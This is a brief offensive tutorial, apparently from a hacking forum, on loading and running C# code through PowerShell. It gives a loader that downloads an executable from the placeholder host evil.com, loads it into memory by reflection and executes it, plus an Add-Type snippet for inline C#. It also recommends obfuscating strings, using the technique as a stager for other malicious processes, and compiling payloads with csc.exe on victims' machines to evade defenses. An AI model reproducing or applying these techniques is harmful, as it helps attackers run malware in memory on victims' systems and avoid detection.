Explanation
Firstly, we need to understand the most common way of loading C#, via an executable:- Fetch executable content and encapsulate in a byte array.
- Load executable content using [System.Reflection.Assembly]::load() method.
- Use Reflection to execute our loaded assembly.
Код:
$bytes = (Invoke-WebRequest "https://evil.com/evilexe.exe").Content
$loadedAssembly = [System.Reflection.Assembly]::Load($bytes)
# Create entrypoint object and call it.
$entry =
$loadedAssembly.GetType("NAMSPACE.CLASS_NAME").
GetMethod('STATIC_METHOD_NAME', [Reflection.BindingFlags] 'Static, Public, NonPublic')
$entry.Invoke($null)
C# Strings
Instead of compiling and downloading an executable, why don’t we just supply a multiline string with our desired C# code and “load” it like so:
Код:
Add-Type @" using System; public class Payload {
static void Execute() {
while (true) {
Console.WriteLine("1337");
}
}
} "@
$pl = New-Object Payload $pl.Execute()
Of course be sure to obfuscate your strings, best way to use this method is as a stager for another malicious process. You could also compile your code on the victim machine to evade defense.
CSC.EXE
The C Sharp Compiler, aka CSC.EXE, is a command line utility for compiling .NET projects into PE's. Youy can invoke this on the victims machine after writing your obfuscated code to a temp file, and compile your PE payload on-machine.